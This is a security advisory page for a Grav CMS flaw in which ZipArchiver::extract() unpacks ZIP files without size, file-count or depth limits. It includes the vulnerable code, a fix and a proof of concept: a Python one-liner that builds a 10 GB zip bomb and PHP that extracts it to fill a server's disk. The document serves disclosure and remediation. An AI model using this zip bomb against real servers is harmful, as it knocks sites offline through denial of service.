CVE-2026-61690: Grav: Decompression Bomb via ZipArchiver - Missing Extraction Limits

Published Aug 19, 2026
·
Updated

Summary ZipArchiver::extract() lacks limits on uncompressed size, file count, and nesting depth, creating a distinct, unpatched variant of the GHSA-2vcx-h8p2-9pg9 zip bomb vulnerability. While the parallel method Installer::unZip() received comprehensive limits, ZipArchiver::extract() remains unprotected, leaving a separate code path vulnerable to the same attack vector. The vulnerability is a distinct, unpatched variant of the bug described in GHSA-2vcx-h8p2-9pg9, as it affects a separate code path in the same codebase, implementing the same abstract class.

---

Details

Vulnerable code - system/src/Grav/Common/Filesystem/ZipArchiver.php:29-58:

php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);

if ($archive === true) { Folder::create($destination);

// Only guards against Zip Slip (path traversal) for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name !== false && !$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); } }

// Extracts EVERYTHING — no size, count, or depth limit if (!$zip->extractTo($destination)) { ... }

$zip->close(); return $this; } }

What's missing vs Installer::unZip():

| Protection | Installer::unZip() | ZipArchiver::extract() | |-----------|---------------------|------------------------| | Zip Slip guard | ✅ | ✅ | | Max uncompressed size | ✅ (1 GiB) | ❌ | | Max file count | ✅ (50000) | ❌ | | Max nesting depth | ✅ (48) | ❌ | | Pre-extraction validation | ✅ All entries validated first | ❌ Extracts immediately |

The fix applied to Installer (GHSA-2vcx, Installer.php:178-269):

php // GHSA-2vcx-h8p2-9pg9: bound what extractTo() will write to disk. $limits = $this->archiveLimits(); $size = $count = $depth = 0;

for ($i = 0; $i < $numFiles; $i++) { $entryName = $zip->getNameIndex($i); // Check size, count, and depth BEFORE extracting anything if ($limits['maxSize'] > 0) { $size += $entry['size']; } if ($limits['maxDepth'] > 0) { ... } if ($limits['maxFiles'] > 0) { $count++; } // Reject if any limit exceeded } // Only now: $zip->extractTo($destination);

None of this validation exists in ZipArchiver::extract().

Reachability: ZipArchiver::extract() is a public method on a concrete class, accessible via the Archiver::create('zip') factory. While no first-party Grav code currently calls extract() on a ZipArchiver instance, third-party plugins and custom code that use the Archiver abstraction for ZIP restoration will walk directly into this unprotected path.

---

Proof of Concept

Step 1 - Create a zip bomb

bash Create a 10 GB zip bomb (42 kB compressed) python3 -c " import zipfile, os z = zipfile.ZipFile('/tmp/zipbomb.zip', 'w', zipfile.ZIPDEFLATED) zeros = b'\x00' (1024 1024 1024) # 1 GB of zeros for i in range(10): z.writestr(f'file{i}.txt', zeros) z.close() " ls -lh /tmp/zipbomb.zip Output: 42K /tmp/zipbomb.zip → expands to 10 GB

Step 2 - Extract via ZipArchiver

php $archiver = Archiver::create('zip'); $archiver->setArchive('/tmp/zipbomb.zip'); $archiver->extract('/tmp/extracted'); // ← no limits, fills disk

The server's disk fills with 10 GB of data. If the web root shares the disk, the site becomes unavailable (DoS).

---

Impact

Any code path that extracts a user-supplied ZIP archive through ZipArchiver::extract() will write the entire archive to disk without limits. A 42 KB zip bomb can expand to fill available disk space, causing denial of service. On systems where the extraction directory shares a partition with the web root, the entire site becomes unavailable.

---

Remediation

Apply the same archiveLimits() validation from Installer::unZip() to ZipArchiver::extract():

php public function extract($destination, ?callable $status = null) { $zip = new ZipArchive(); $archive = $zip->open($this->archivefile);

if ($archive === true) { Folder::create($destination);

// Apply the same archive limits as Installer::unZip() $limits = $this->archiveLimits(); $totalSize = 0; $totalFiles = 0;

for ($i = 0, $count = $zip->count(); $i < $count; $i++) { $name = $zip->getNameIndex($i); if ($name === false) continue;

// Zip Slip guard (existing) if (!$this->isSafeEntryPath($name)) { $zip->close(); throw new RuntimeException(...); }

// Decompression bomb guards (NEW) $stat = $zip->statIndex($i); $totalSize += $stat['size'] ?? 0; $totalFiles++;

$depth = count(explode('/', trim($name, '/'))); if ($limits['maxDepth'] > 0 && $depth > $limits['maxDepth']) { $zip->close(); throw new RuntimeException('Archive exceeds max nesting depth'); } }

if ($limits['maxSize'] > 0 && $totalSize > $limits['maxSize']) { $zip->close(); throw new RuntimeException('Archive exceeds max uncompressed size'); } if ($limits['maxFiles'] > 0 && $totalFiles > $limits['maxFiles']) { $zip->close(); throw new RuntimeException('Archive exceeds max file count'); }

if (!$zip->extractTo($destination)) { ... } $zip->close(); return $this; } }

Other sources

Grav is a file-based Web platform. Prior to 2.0.1, Grav ZipArchiver::extract() in system/src/Grav/Common/Filesystem/ZipArchiver.php passes archives to ZipArchive::extractTo() without enforcing the system.gpm.archive uncompressed-size, file-count, or nesting-depth limits. Code using Archiver::create('zip') to extract an attacker-controlled archive can exhaust disk space or inodes and make the site unavailable. This issue is fixed in version 2.0.1.

MITRE

Affected Software

2 affected componentsFixes available
Grav Grav<2.0.1
composer/getgrav/grav<2.0.1
2.0.1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade composer/getgrav/grav to a version that resolves this vulnerability.

    Fixed in 2.0.1
  2. Upgrade

    Upgrade Grav to a version that resolves this vulnerability.

    Fixed in 2.0.1Patch GHSA-2vcx-h8p2-9pg9
  3. Configuration

    Update ZipArchiver::extract() to apply the same archive limits used by Installer::unZip(): validate uncompressed size (max uncompressed size), file count (max file count), and nesting depth (maxDepth) BEFORE calling ZipArchive::extractTo()/extractTo(); throw/reject when limits are exceeded, while keeping the existing Zip Slip guard.

    system/src/Grav/Common/Filesystem/ZipArchiver.php (ZipArchiver::extract) archiveLimits() validation = Apply Installer::unZip() limits before extraction (maxSize, maxFiles, maxDepth) and reject when exceeded

Event History

Aug 19, 2026
CVE Published
via MITRE·03:20 PM
Data Sourced
via MITRE·03:20 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·04:18 PM
DescriptionSeverityWeakness
Sep 2, 2026
Advisory Published
via GitHub·09:35 PM
Data Sourced
via GitHub·09:35 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Grav versions prior to 2.0.1 are affected where application code uses Archiver::create('zip') to extract an attacker-controlled ZIP archive. The impact is denial of service through exhaustion of disk space or filesystem inodes.

2

What access does an attacker need to exploit this issue?

An attacker needs a way to supply a ZIP archive that the affected Grav instance will extract through the ZIP archiver. The supplied severity vector indicates low privileges are required and no user interaction is needed.

3

Are default archive extraction limits sufficient in affected versions?

No. Before 2.0.1, ZipArchiver::extract() passes archives to ZipArchive::extractTo() without enforcing configured system.gpm.archive limits for uncompressed size, file count, or nesting depth.

4

What is the remediation?

Upgrade Grav to version 2.0.1, which fixes the missing extraction-limit enforcement. Until upgrading, avoid extracting attacker-controlled ZIP archives through Archiver::create('zip').

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203